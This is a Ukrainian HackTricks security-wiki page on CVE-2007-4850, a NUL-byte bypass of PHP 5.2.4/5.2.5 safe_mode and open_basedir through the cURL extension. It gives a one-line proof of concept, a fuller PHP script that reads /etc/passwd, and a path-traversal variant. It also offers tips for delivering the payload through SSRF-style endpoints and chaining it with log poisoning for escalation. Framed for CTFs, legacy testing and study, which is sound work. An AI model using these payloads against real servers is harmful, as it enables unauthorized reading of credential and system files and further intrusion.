PHP 5.2.4 та 5.2.5 PHP cURL
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
На цій сторінці описано застарілий, але все ще корисний у CTFs/локальних старих інсталяціях трюк для обходу перевірок PHP safe_mode/open_basedir за допомогою розширення cURL на певних збірках PHP 5.2.x.
- Затронуті версії: PHP 5.2.4 та 5.2.5 за умови увімкненого ext/curl.
- Наслідки: Читання довільних локальних файлів незважаючи на обмеження safe_mode або open_basedir (без прямого виконання коду).
- ID: CVE-2007-4850.
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
One-liner PoC
Якщо safe_mode або open_basedir активні, а cURL увімкнено, наступне поверне вміст поточного скрипта:
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
Більш явний PoC (arbitrary file read)
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>
Примітки:
- Використовуйте подвійні лапки або chr(0) для вставки реального NUL-байта. Процентне кодування (%00) працюватиме ненадійно.
- Це примітив читання файлу. Поєднуйте з іншими примітивами (log poisoning, session file inclusion, etc.) для подальшої ескалації, коли це можливо.
Чому це працює (коротко)
Уразливість полягає в тому, як PHP 5.2.4/5.2.5 виконував перевірки safe_mode/open_basedir для file:// URL-ів в ext/curl. Перевірка парсила URL і валідувала компонент шляху, але через обробку NUL-байта вона валідувала інший рядок, ніж той, який фактично використовував libcurl. На практиці валідатор міг дозволяти шлях після NUL, тоді як libcurl використовував частину перед NUL як контейнер URL, що дозволяло обхід, який приводив до читання файлу, розміщеного після NUL-байта. Див. оригінальний аналіз та відповідний макрос у curl/interface.c для деталей. [CVE-2007-4850].
Обмеження та виправлення
- Fixed in later 5.2.x (e.g., distro builds patched to 5.2.6) by correcting the parsing/validation in ext/curl.
- Поширюється лише на дуже старі розгортання PHP; safe_mode було видалено в PHP 5.4, і сучасні збірки не проявляють такої поведінки.
Пов’язані історичні обходи, що використовують cURL
- CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers allowed
file://access with embedded NULs to bypass open_basedir; fixed before 5.2.x. - PHP bugs #30609/#36223 tracked early cURL open_basedir issues using
file://without canonicalization. Any check before the NUL byte or withoutrealpath-style resolution is prone to the same truncation.
Поради для CTF
- Коли ви виявляєте PHP 5.2.4/5.2.5 з завантаженим ext/curl (шукай
cURL support => enabledвphpinfo()і точнуPHP Version), цей трюк зазвичай працює навіть якщоallow_url_fopenвідключено, оскільки ext/curl сам обробляєfile://. - Якщо прямі шляхи заблоковано, спробуйте відносний traversal після NUL, напр.,
file://x\x00../../../../etc/passwd. Траверс вирішується libcurl, а не охороною open_basedir. - Ви можете упакувати payload в одне тіло HTTP-запиту, щоб викликати LFI через вразливий server-side код, який відображає керовані користувачем URL-и в
curl_exec()(поширено в застарілих SSRF-подібних кінцевих точках).
See also
Other disable_functions/open_basedir bypasses and modern techniques are collected here:
References
- Ubuntu CVE entry with patch pointers and affected versions
- Technical writeup with code context (cxsecurity)
- PHP bug #36223 (curl bypasses open_basedir)
- CVE-2006-2563 cURL PHP File Access Bypass (earlier NUL-byte issue)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


